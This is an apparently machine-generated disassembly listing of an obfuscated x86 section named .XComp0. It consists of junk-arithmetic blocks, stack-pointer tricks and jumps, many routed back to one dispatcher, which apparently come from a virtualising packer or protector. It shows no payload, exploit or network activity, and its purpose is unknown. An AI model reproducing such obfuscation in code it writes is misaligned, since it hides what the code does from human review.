		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	147Fh
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_589212
; ---------------------------------------------------------------------------


loc_585D86:				; CODE XREF: .XComp0:00597D28j
		pop	ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_58978F
; ---------------------------------------------------------------------------


loc_585D9B:				; CODE XREF: .XComp0:0058D098j
		or	ecx, 3C4766A9h
		shl	ecx, 8
		push	edi
		jmp	loc_584035
; ---------------------------------------------------------------------------


loc_585DAA:				; CODE XREF: .XComp0:00592085j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		shr	eax, 0Bh
		xor	ecx, eax
		jmp	loc_5885CC
; ---------------------------------------------------------------------------


loc_585DBE:				; CODE XREF: .XComp0:00589520j
		mov	esp, [esp]
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_585DC6:				; CODE XREF: .XComp0:00592063j
		mov	edi, esp
		push	658Dh
		mov	[esp], ecx
		push	edi
		push	66970B7Fh
		pop	edi
		jmp	loc_588D5E
; ---------------------------------------------------------------------------


loc_585DDC:				; CODE XREF: .XComp0:0058714Cj
		add	dh, 0B8h
		and	al, dh
		jmp	loc_58FA17
; ---------------------------------------------------------------------------


loc_585DE6:				; CODE XREF: .XComp0:0058573Bj
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_594EAD
; ---------------------------------------------------------------------------


loc_585DFC:				; CODE XREF: .XComp0:00587B75j
		push	esp
		pop	eax
		jmp	loc_587ACA
; ---------------------------------------------------------------------------


loc_585E03:				; CODE XREF: .XComp0:005936EBj
		mov	ebx, ecx
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_588E89
; ---------------------------------------------------------------------------


loc_585E10:				; CODE XREF: .XComp0:0058FDBFj
		xor	edi, 3A11CD3h
		pop	ebp
		sub	edx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_587024
; ---------------------------------------------------------------------------


loc_585E24:				; CODE XREF: .XComp0:005947C3j
		push	ebx
		jmp	loc_5873FE
; ---------------------------------------------------------------------------


loc_585E2A:				; CODE XREF: .XComp0:00589FDEj
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_584932
; ---------------------------------------------------------------------------


loc_585E53:				; CODE XREF: .XComp0:00592A5Dj
		push	724739E0h
		pop	edi
		add	edi, 31762871h
		not	edi
		jmp	loc_58C9D3
; ---------------------------------------------------------------------------


loc_585E66:				; CODE XREF: .XComp0:005971FCj
		mov	esi, 22272825h
		sub	ebp, esi
		pop	esi
		or	edi, ebp
		pop	ebp
		shl	edi, 3
		jmp	loc_592436
; ---------------------------------------------------------------------------


loc_585E79:				; CODE XREF: .XComp0:00589B54j
		mov	ebx, esp
		jmp	loc_58DF4F
; ---------------------------------------------------------------------------


loc_585E80:				; CODE XREF: .XComp0:00592BCBj
		pop	edx
		dec	edx
		add	edx, 48AD0D18h
		inc	edx
		add	edx, 8EC976D0h
		mov	ebx, edx
		pop	edx
		sub	eax, 59ED3DFEh
		jmp	loc_598BD3
; ---------------------------------------------------------------------------


loc_585E9C:				; CODE XREF: .XComp0:005883D7j
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_585EA1:				; CODE XREF: .XComp0:0058D314j
		add	edi, 4
		jmp	loc_592D5D
; ---------------------------------------------------------------------------


loc_585EAC:				; CODE XREF: .XComp0:0058632Aj
		shl	ebp, 6
		not	ebp
		shr	ebp, 3
		jmp	loc_584B16
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
; ---------------------------------------------------------------------------
		jmp	loc_592EF8
; ---------------------------------------------------------------------------


loc_585EC1:				; CODE XREF: .XComp0:00592E41j
		xchg	edi, [esp]
		jmp	loc_5917CA
; ---------------------------------------------------------------------------


loc_585EC9:				; CODE XREF: .XComp0:00593AA7j
		sub	ebx, 6192475Eh
		sub	esp, 4
		mov	[esp], edx
		mov	edx, ebx
		mov	esi, edx
		pop	edx
		pop	ebx
		jmp	loc_58CA3D
; ---------------------------------------------------------------------------


loc_585EE3:				; CODE XREF: .XComp0:00585F3Dj
		mov	ebx, 62ED65FFh
		sub	ebx, 82E131Dh
		jmp	loc_58E8E8
; ---------------------------------------------------------------------------


loc_585EF3:				; CODE XREF: .XComp0:00590028j
		dec	ebp
		neg	ebp
		xor	ebp, 0F210DD3h
		push	23h
		mov	[esp], ecx
		push	eax
		mov	eax, 2B186D8Ah
		mov	ecx, eax
		pop	eax
		jmp	loc_58BB65
; ---------------------------------------------------------------------------


loc_585F12:				; CODE XREF: .XComp0:0059264Aj
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	ebx
		push	4
		jmp	loc_5917D0
; ---------------------------------------------------------------------------


loc_585F2F:				; CODE XREF: .XComp0:0058C33Fj
		xor	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		push	ebx
		jmp	loc_585EE3
; ---------------------------------------------------------------------------


loc_585F42:				; CODE XREF: .XComp0:005933E1j
		mov	[esp], eax
		jmp	loc_5902C8
; ---------------------------------------------------------------------------


loc_585F4A:				; CODE XREF: .XComp0:005936A3j
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, 2E896EC9h
		jmp	loc_590BFE
; ---------------------------------------------------------------------------
		lodsb
		add	al, 63h
		jmp	loc_591BFB
; ---------------------------------------------------------------------------


loc_585F63:				; CODE XREF: .XComp0:00598F32j
		pop	esi
		sub	dword ptr [esp+8], 682F35B9h
		jmp	loc_5988FB
; ---------------------------------------------------------------------------


loc_585F71:				; CODE XREF: .XComp0:0058F4F0j
		push	ecx
		jmp	loc_597DEA
; ---------------------------------------------------------------------------


loc_585F77:				; CODE XREF: .XComp0:0059116Ej
		mov	ebp, 441F5930h
		xor	edi, ebp
		pop	ebp
		add	ebp, edi
		mov	edi, [esp]
		jmp	loc_593ADD
; ---------------------------------------------------------------------------


loc_585F89:				; CODE XREF: .XComp0:00597121j
		mov	esp, [esp]
		mov	[esp], ecx
		push	ebx
		mov	ebx, 3D9F6D29h
		or	ebx, 42426BE1h
		jmp	loc_59667D
; ---------------------------------------------------------------------------


loc_585FA0:				; CODE XREF: .XComp0:005873CEj
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_59463A
; ---------------------------------------------------------------------------


loc_585FAD:				; CODE XREF: .XComp0:0058E6EEj
		add	edx, 7DF60653h
		jmp	loc_58661B
; ---------------------------------------------------------------------------


loc_585FB8:				; CODE XREF: .XComp0:0058A112j
		shl	esi, 6
		add	esi, 562E40EDh
		push	eax
		jmp	loc_588785
; ---------------------------------------------------------------------------


loc_585FC7:				; CODE XREF: .XComp0:00590F36j
		pop	dword ptr [esp]
		push	124Eh
		mov	[esp], edx
		mov	edx, 4
		add	dword ptr [esp+4], 55FE4901h
		add	[esp+4], edx
		sub	dword ptr [esp+4], 55FE4901h
		pop	edx
		pop	eax
		push	edx
		jmp	loc_5922A3
; ---------------------------------------------------------------------------


loc_585FF3:				; CODE XREF: .XComp0:0058D8FBj
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_593802
; ---------------------------------------------------------------------------


loc_586000:				; CODE XREF: .XComp0:005974F5j
		mov	bx, [esp]
		push	edi
		mov	edi, esp
		push	eax
		mov	eax, 7C7161C4h
		sub	eax, 79161BD8h
		or	eax, 58AB0EB7h
		jmp	loc_58B735
; ---------------------------------------------------------------------------


loc_58601C:				; CODE XREF: .XComp0:005933D6j
		dec	ecx
		jmp	loc_59067E
; ---------------------------------------------------------------------------


loc_586022:				; CODE XREF: .XComp0:0058E75Fj
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	6E07h
		mov	[esp], eax
		mov	eax, 522D2992h
		xor	eax, 784766B9h
		sub	eax, 2A6A4F0Fh
		add	eax, 17DE1AACh
		add	eax, edi
		sub	eax, 17DE1AACh
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 78DC25D1h
		dec	edx
		not	edx
		xor	edx, 61A75361h
		dec	edx
		and	edx, 77D66505h
		push	esi
		mov	esi, 4A5C6BAEh
		dec	esi
		add	esi, 4F1F934Eh
		push	ecx
		mov	ecx, 121F2CB9h
		shr	ecx, 6
		jmp	loc_5939F8
; ---------------------------------------------------------------------------


loc_586084:				; CODE XREF: .XComp0:00584FCAj
		mov	edi, esp
		jmp	loc_598075
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	eax
		mov	eax, 74734FE7h
		not	eax
		push	ecx
		jmp	loc_58B081
; ---------------------------------------------------------------------------


loc_5860A8:				; CODE XREF: .XComp0:00590B84j
		sub	edx, 34B43959h
		add	edx, eax
		add	edx, 34B43959h
		pop	eax
		push	eax
		jmp	loc_5940B4
; ---------------------------------------------------------------------------


loc_5860BD:				; CODE XREF: .XComp0:005880FDj
		sub	ebx, 908BB161h
		add	edx, ebx
		jmp	loc_590721
; ---------------------------------------------------------------------------


loc_5860CA:				; CODE XREF: .XComp0:00590ED1j
		push	edi
		push	eax
		mov	eax, 67A078CBh
		mov	edi, 0A0BEA459h
		add	edi, 435B5BF6h
		jmp	loc_5985FC
; ---------------------------------------------------------------------------


loc_5860E1:				; CODE XREF: .XComp0:0059426Aj
		push	eax
		push	ebx
		mov	ebx, ecx
		jmp	loc_5872DD
; ---------------------------------------------------------------------------


loc_5860EA:				; CODE XREF: .XComp0:00583BADj
		sub	edi, 88F129Bh
		jmp	loc_592545
; ---------------------------------------------------------------------------


loc_5860F5:				; CODE XREF: .XComp0:0058B26Aj
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_5860FA:				; CODE XREF: .XComp0:00596D75j
		sub	esi, 26DA6057h
		jmp	loc_59899B
; ---------------------------------------------------------------------------


loc_586105:				; CODE XREF: .XComp0:00590D70j
		add	eax, 0E32EACE7h
		add	ebx, 69A1AF6h
		sub	ebx, eax
		sub	ebx, 69A1AF6h
		jmp	loc_591CDF
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_58DBDC
; ---------------------------------------------------------------------------


loc_586123:				; CODE XREF: .XComp0:005964B2j
		add	esp, 4
		add	esi, 4
		push	5C53h
		mov	[esp], ecx
		push	edx
		mov	edx, 5FA574A3h
		jmp	loc_58ECFA
; ---------------------------------------------------------------------------


loc_586142:				; CODE XREF: .XComp0:00597E41j
		push	2DB9h
		mov	[esp], edx
		jmp	loc_5914FE
; ---------------------------------------------------------------------------


loc_58614F:				; CODE XREF: .XComp0:005935D1j
		pop	esp
		mov	eax, [esp]
		add	esp, 4
		mov	[edi+eax*4], ch
		pop	ecx
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58615F:				; CODE XREF: .XComp0:005945FBj
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		push	edx
		push	ecx
		mov	ecx, 5BF2319Fh
		mov	edx, ecx
		pop	ecx
		add	edx, 0FFFFFFFFh
		push	ebp
		jmp	loc_5951B0
; ---------------------------------------------------------------------------


loc_586181:				; CODE XREF: .XComp0:00583BBAj
		mov	edi, esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58EE5B
; ---------------------------------------------------------------------------


loc_586198:				; CODE XREF: .XComp0:00597A4Ej
		pop	eax
		push	esi
		mov	esi, edx
		mov	edi, esi
		pop	esi
		pop	edx
		xor	edx, edi
		mov	edi, [esp]
		jmp	loc_5915F1
; ---------------------------------------------------------------------------


loc_5861AA:				; CODE XREF: .XComp0:00588EDEj
		mov	esi, [esp]
		jmp	loc_598108
; ---------------------------------------------------------------------------


loc_5861B2:				; CODE XREF: .XComp0:00586449j
		mov	edx, 2
		sub	eax, 361B2B88h
		sub	eax, edx
		push	156h
		mov	[esp], ebx
		mov	ebx, 27D85ED2h
		jmp	loc_5881C3
; ---------------------------------------------------------------------------


loc_5861D0:				; CODE XREF: .XComp0:0058CFD8j
		shl	ecx, 8
		jmp	loc_58A577
; ---------------------------------------------------------------------------


loc_5861D8:				; CODE XREF: .XComp0:0059607Ej
		add	al, 0B3h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_59065D
; ---------------------------------------------------------------------------


loc_5861F1:				; CODE XREF: .XComp0:00597B0Ej
		push	ecx
		push	esi
		mov	esi, 14449CEh
		push	edi
		mov	edi, 76FE2186h
		and	esi, edi
		pop	edi
		jmp	loc_5982F3
; ---------------------------------------------------------------------------


loc_586206:				; CODE XREF: .XComp0:0059412Ej
		add	eax, 368D3BF5h
		add	eax, ecx
		push	edi
		mov	edi, 150E6AEAh
		sub	edi, 234A5682h
		jmp	loc_59847B
; ---------------------------------------------------------------------------


loc_58621E:				; CODE XREF: .XComp0:00585488j
		mov	esi, esp
		add	esi, 4
		jmp	loc_59755A
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_594FD5
; ---------------------------------------------------------------------------


loc_586231:				; CODE XREF: .XComp0:0058D71Fj
		add	eax, 686634F3h
		add	eax, esi
		push	ebp
		jmp	loc_59136B
; ---------------------------------------------------------------------------


loc_58623E:				; CODE XREF: .XComp0:005885B0j
		mov	esi, esp
		push	3206h
		mov	[esp], ebp
		jmp	loc_5916DB
; ---------------------------------------------------------------------------


loc_58624D:				; CODE XREF: .XComp0:00593D6Cj
		sub	ch, 4Ch
		pop	edx
		add	al, ch
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5859FE
; ---------------------------------------------------------------------------


loc_58626D:				; CODE XREF: .XComp0:00598CB0j
		pop	esi
		shl	ebp, 7
		and	ebp, 4485053Fh
		jmp	loc_598083
; ---------------------------------------------------------------------------


loc_58627C:				; CODE XREF: .XComp0:0059120Bj
		sub	al, 7Ah
		add	al, 0DDh
		add	al, bl
		sub	al, 0DDh
		add	al, 7Ah
		sub	al, 7Ah
		mov	ebx, [esp]
		add	esp, 4
		add	al, bl
		sub	esp, 2
		mov	[esp], bx
		mov	bl, 4Bh
		sub	al, bl
		pop	bx
		push	edx
		mov	dl, 90h
		add	dl, 0A7h
		not	dl
		neg	dl
		dec	dl
		push	ecx
		mov	cl, dl
		not	cl
		mov	dl, cl
		pop	ecx
		xor	dl, 0A2h
		jmp	loc_583C9B
; ---------------------------------------------------------------------------


loc_5862BC:				; CODE XREF: .XComp0:0058BA9Cj
		inc	esi
		inc	esi
		push	ebx
		mov	ebx, 5655044Bh
		and	esi, ebx
		pop	ebx
		xor	esi, 7553B40h
		jmp	loc_588823
; ---------------------------------------------------------------------------


loc_5862D2:				; CODE XREF: .XComp0:0058F79Bj
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		mov	ebp, [esp]
		jmp	loc_587EFB
; ---------------------------------------------------------------------------


loc_5862EA:				; CODE XREF: .XComp0:0058A33Cj
		sub	dword ptr [esp], 4A5A0BA5h
		jmp	loc_588406
; ---------------------------------------------------------------------------


loc_5862F6:				; CODE XREF: .XComp0:005859B5j
		sub	esi, 3CC346EFh
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_58B353
; ---------------------------------------------------------------------------


loc_586307:				; CODE XREF: .XComp0:00595C7Ej
		neg	ecx
		jmp	loc_589C34
; ---------------------------------------------------------------------------


loc_58630E:				; CODE XREF: .XComp0:0058ABD3j
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 4
		push	185h
		mov	[esp], ebp
		mov	ebp, 39AF790Eh
		jmp	loc_585EAC
; ---------------------------------------------------------------------------


loc_58632F:				; CODE XREF: .XComp0:0058A2C1j
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		add	eax, 4
		add	eax, 4
		jmp	loc_596A42
; ---------------------------------------------------------------------------


loc_58634A:				; CODE XREF: .XComp0:005894B3j
		mov	edx, [esp]
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		test	cl, al
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_5976AF
; ---------------------------------------------------------------------------


loc_58636A:				; CODE XREF: .XComp0:00586950j
		mov	[esp], ebx
		mov	ebx, 2
		jmp	loc_58B0DD
; ---------------------------------------------------------------------------


loc_586377:				; CODE XREF: .XComp0:0058E201j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		sub	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 621059B2h
		push	eax
		mov	eax, 3C397CB1h
		xor	ebp, eax
		pop	eax
		add	ebp, 6FEF2F2Eh
		sub	esp, 4
		mov	[esp], edx
		push	2FED3E8Ah
		pop	edx
		add	edx, 5481B6CAh
		jmp	loc_58EB76
; ---------------------------------------------------------------------------


loc_5863BE:				; CODE XREF: .XComp0:0058948Aj
		push	ebp
		mov	ebp, 3516154Dh
		jmp	loc_58FC7F
; ---------------------------------------------------------------------------


loc_5863C9:				; CODE XREF: .XComp0:005917F9j
		sub	edx, 1EB002FBh
		pop	ebx
		add	esi, edx
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		push	edi
		push	esi
		mov	esi, 11BC0650h
		xor	esi, 39100E5Eh
		sub	esi, 46276445h
		jmp	loc_598D78
; ---------------------------------------------------------------------------


loc_5863F4:				; CODE XREF: .XComp0:0059211Aj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_597748
; ---------------------------------------------------------------------------


loc_58640C:				; CODE XREF: .XComp0:00594DF7j
		pop	esp
		push	edx
		mov	edx, 67F139CFh
		jmp	loc_58CD28
; ---------------------------------------------------------------------------


loc_586418:				; CODE XREF: .XComp0:0059576Aj
		add	ecx, 25F94F0Fh
		and	ecx, 28D62F3Fh
		neg	ecx
		not	ecx
		add	ecx, 0DD9B97DBh
		jmp	loc_595FB4
; ---------------------------------------------------------------------------


loc_586433:				; CODE XREF: .XComp0:005979F4j
		mov	[esp], ecx
		push	ebp
		jmp	loc_5968E1
; ---------------------------------------------------------------------------


loc_58643C:				; CODE XREF: .XComp0:005932D0j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_5861B2
; ---------------------------------------------------------------------------


loc_58644E:				; CODE XREF: .XComp0:0059788Cj
		push	esi
		mov	esi, 4
		add	edx, 10380C3Eh
		add	edx, esi
		sub	edx, 10380C3Eh
		pop	esi
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_58EF5B
; ---------------------------------------------------------------------------


loc_586472:				; CODE XREF: .XComp0:00592FCAj
		add	ecx, edi
		jmp	loc_5902FB
; ---------------------------------------------------------------------------


loc_586479:				; CODE XREF: .XComp0:005914B0j
		add	edi, 10D62D05h
		neg	edi
		add	edi, 0FFFFFFFFh
		add	edi, 8745A0E7h
		add	eax, 17356BCAh
		jmp	loc_583BBF
; ---------------------------------------------------------------------------


loc_586494:				; CODE XREF: .XComp0:0058DDF4j
		mov	[esp], esp
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		pop	ecx
		push	5BD9h
		mov	[esp], eax
		mov	eax, 4
		sub	ecx, 627647C8h
		add	ecx, eax
		push	eax
		mov	eax, 37EC35DBh
		xor	eax, 559A7213h
		add	ecx, eax
		pop	eax
		pop	eax
		jmp	loc_58D167
; ---------------------------------------------------------------------------


loc_5864CC:				; CODE XREF: .XComp0:0058A261j
		mov	eax, 4
		jmp	loc_59865A
; ---------------------------------------------------------------------------


loc_5864D6:				; CODE XREF: .XComp0:00585365j
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		jmp	loc_5958B6
; ---------------------------------------------------------------------------


loc_5864E5:				; CODE XREF: .XComp0:0058CFF7j
		push	ebx
		xchg	eax, [esp]
		jmp	loc_58D845
; ---------------------------------------------------------------------------


loc_5864EE:				; CODE XREF: .XComp0:005988F6j
		pop	esp
		mov	[esp], ebx
		push	edi
		mov	edi, 48424392h
		shl	edi, 8
		not	edi
		sub	edi, 1
		xor	edi, 0BDBC6DFCh
		mov	ebx, edi
		jmp	loc_5974D8
; ---------------------------------------------------------------------------


loc_586510:				; CODE XREF: .XComp0:00595380j
		mov	ebx, 637B3FABh
		mov	eax, 0EA67D65h
		xor	eax, ebx
		pop	ebx
		or	eax, 1D1B1F33h
		xor	eax, 5EBA294Eh
		dec	eax
		push	eax
		push	ebx
		pop	eax
		pop	ebx
		jmp	loc_5845FA
; ---------------------------------------------------------------------------


loc_586531:				; CODE XREF: .XComp0:0058E87Cj
		add	ebp, 4
		jmp	loc_5870A6
; ---------------------------------------------------------------------------


loc_586539:				; CODE XREF: .XComp0:00597299j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_58D507
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_590527
; ---------------------------------------------------------------------------


loc_58654F:				; CODE XREF: .XComp0:0058413Aj
		mov	esi, 54473C38h
		xor	[esp+4], esi
		pop	esi
		pop	edi
		xor	edi, 54473C38h
		pop	ecx
		xor	edi, ebp
		xor	ebp, edi
		jmp	loc_596333
; ---------------------------------------------------------------------------


loc_58656A:				; CODE XREF: .XComp0:0059834Dj
		push	ebp
		mov	ebp, 478E4A63h
		mov	ebx, ebp
		pop	ebp
		xor	ebx, 0D467881h
		push	edx
		mov	edx, 2C50424h
		dec	edx
		add	edx, 731E5663h
		shl	edx, 3
		jmp	loc_58E08B
; ---------------------------------------------------------------------------


loc_58658E:				; CODE XREF: .XComp0:00598BAEj
		not	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_58BF95
; ---------------------------------------------------------------------------


loc_58659C:				; CODE XREF: .XComp0:00592C24j
		add	al, cl
		pop	ecx
		sub	al, 2Dh
		add	al, bl
		add	al, 2Dh
		sub	al, 74h
		add	al, 6Fh
		sub	al, 90h
		push	6C15h
		jmp	loc_598467
; ---------------------------------------------------------------------------


loc_5865B5:				; CODE XREF: .XComp0:0058F6E2j
		add	ebx, esi
		jmp	loc_59135F
; ---------------------------------------------------------------------------


loc_5865BC:				; CODE XREF: .XComp0:0058BDD6j
		sub	eax, 51208DD4h
		add	ebp, eax
		pop	eax
		push	esi
		mov	esi, ebp
		mov	ebx, esi
		jmp	loc_58A324
; ---------------------------------------------------------------------------


loc_5865CE:				; CODE XREF: .XComp0:0058B287j
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_58DD12
; ---------------------------------------------------------------------------


loc_5865E7:				; CODE XREF: .XComp0:00587CBEj
		pop	esi
		add	edx, 2023C3FEh
		jmp	loc_5963A7
; ---------------------------------------------------------------------------


loc_5865F3:				; CODE XREF: .XComp0:005878F6j
		push	eax
		jmp	loc_58BA95
; ---------------------------------------------------------------------------


loc_5865F9:				; CODE XREF: .XComp0:00585D05j
		pop	esp
		add	esp, 4
		dec	dword ptr [esp]
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------
		push	312Bh
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_58411E
; ---------------------------------------------------------------------------


loc_58661B:				; CODE XREF: .XComp0:00585FB3j
		add	[edx], ebp
		jmp	loc_58D18E
; ---------------------------------------------------------------------------


loc_586622:				; CODE XREF: .XComp0:0058E7A4j
		pop	esp
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5899AE
; ---------------------------------------------------------------------------


loc_58662E:				; CODE XREF: .XComp0:005877CDj
		mov	edi, [esp]
		add	esp, 4
		mov	ebp, [esp]
		add	esp, 4
		add	eax, 76FB5994h
		jmp	loc_59578C
; ---------------------------------------------------------------------------


loc_586644:				; CODE XREF: .XComp0:0058821Fj
		mov	ebx, 51854FA2h
		xor	edx, ebx
		pop	ebx
		push	edx
		xchg	ebp, [esp]
		not	ebp
		xchg	ebp, [esp]
		pop	edx
		dec	edx
		push	2BC4h
		jmp	loc_5846DF
; ---------------------------------------------------------------------------


loc_586661:				; CODE XREF: .XComp0:00595E88j
		pop	ebp
		add	esp, 4
		jmp	loc_58B0CF
; ---------------------------------------------------------------------------


loc_58666A:				; CODE XREF: .XComp0:00594038j
		mov	eax, ebp
		pop	ebp
		push	ebp
		mov	ebp, 27AE5421h
		and	eax, ebp
		jmp	loc_589CD4
; ---------------------------------------------------------------------------


loc_58667A:				; CODE XREF: .XComp0:00595EC0j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	esi
		push	eax
		push	ebx
		jmp	loc_58C62E
; ---------------------------------------------------------------------------


loc_58668C:				; CODE XREF: .XComp0:00585148j
		pop	eax
		mov	ecx, esi
		pop	esi
		sub	eax, ecx
		mov	ecx, [esp]
		push	edx
		jmp	loc_59539F
; ---------------------------------------------------------------------------


loc_58669B:				; CODE XREF: .XComp0:0058F0B4j
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		shl	dword ptr [esp], cl
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_5866C6:				; CODE XREF: .XComp0:0058D658j
		sub	dl, bl
		jmp	loc_589328
; ---------------------------------------------------------------------------


loc_5866CD:				; CODE XREF: .XComp0:0058A523j
		mov	edx, 2371DA3h
		xor	ebp, edx
		pop	edx
		push	ebp
		pop	edx
		jmp	loc_58E05B
; ---------------------------------------------------------------------------


loc_5866DC:				; CODE XREF: .XComp0:005962ABj
		inc	eax
		shl	eax, 1
		jmp	loc_58C695
; ---------------------------------------------------------------------------


loc_5866E4:				; CODE XREF: .XComp0:00597DE5j
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_5866E9:				; CODE XREF: .XComp0:0058A589j
		push	ecx
		mov	ecx, 67B22FC2h
		mov	ebp, ecx
		pop	ecx
		sub	edi, ebp
		pop	ebp
		add	edi, ecx
		add	edi, 67B22FC2h
		jmp	loc_59002D
; ---------------------------------------------------------------------------


loc_586702:				; CODE XREF: .XComp0:00594D9Fj
		mov	[esp], edi
		jmp	loc_597B7D
; ---------------------------------------------------------------------------


loc_58670A:				; CODE XREF: .XComp0:0058EEBFj
		shl	edx, 5
		jmp	loc_590452
; ---------------------------------------------------------------------------


loc_586712:				; CODE XREF: .XComp0:005975EBj
		neg	ecx
		push	esi
		mov	esi, 3AD751DCh
		xor	esi, 68117E28h
		sub	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		not	ecx
		shr	ecx, 1
		add	ecx, 903BA974h
		jmp	loc_587B2A
; ---------------------------------------------------------------------------


loc_586737:				; CODE XREF: .XComp0:0058FAFBj
		mov	edi, 79E75895h
		sub	ebp, 73EC5BC1h
		add	ebp, 5546208Bh
		sub	ebp, 18264A0Eh
		sub	ebp, 60090E7Eh
		jmp	loc_59732C
; ---------------------------------------------------------------------------


loc_586759:				; CODE XREF: .XComp0:005881BEj
		mov	ecx, 4ED0564Bh
		mov	ebx, ecx
		pop	ecx
		inc	ebx
		shr	ebx, 6
		inc	ebx
		add	ebx, 4CCB6EC8h
		jmp	loc_5902BD
; ---------------------------------------------------------------------------


loc_586771:				; CODE XREF: .XComp0:0058C725j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 2A314848h
		add	esi, ecx
		pop	ecx
		add	ebx, 1D25416h
		sub	ebx, 36C03BCFh
		add	ebx, esi
		add	ebx, 36C03BCFh
		sub	ebx, 1D25416h
		pop	esi
		add	ebx, 4
		jmp	loc_593D71
; ---------------------------------------------------------------------------


loc_5867A5:				; CODE XREF: .XComp0:005967EFj
		dec	ch
		jmp	loc_59701E
; ---------------------------------------------------------------------------


loc_5867AC:				; CODE XREF: .XComp0:005907B9j
		sub	bl, cl
		mov	ecx, [esp]
		jmp	loc_58EBBB
; ---------------------------------------------------------------------------


loc_5867B6:				; CODE XREF: .XComp0:005930E8j
		mov	ecx, 8F5529Bh
		and	ecx, 2CD228ABh
		jmp	loc_58EE0E
; ---------------------------------------------------------------------------


loc_5867C6:				; CODE XREF: .XComp0:00588FC7j
		pop	esi
		pop	ebp
		jmp	loc_5881D7
; ---------------------------------------------------------------------------


loc_5867CD:				; CODE XREF: .XComp0:0058A6DDj
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5897A5
; ---------------------------------------------------------------------------


loc_5867DC:				; CODE XREF: .XComp0:0058D1F0j
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_595B95
; ---------------------------------------------------------------------------


loc_5867EA:				; CODE XREF: .XComp0:0058B82Aj
		sub	esi, 34C7344Eh
		neg	esi
		shr	esi, 8
		neg	esi
		and	esi, 55E36630h
		xor	esi, 1EF70DAFh
		xor	ebx, esi
		pop	esi
		sub	edx, 15D671Ah
		add	edx, ebx
		add	edx, 15D671Ah
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		and	edx, 64F15838h
		jmp	loc_593FFF
; ---------------------------------------------------------------------------


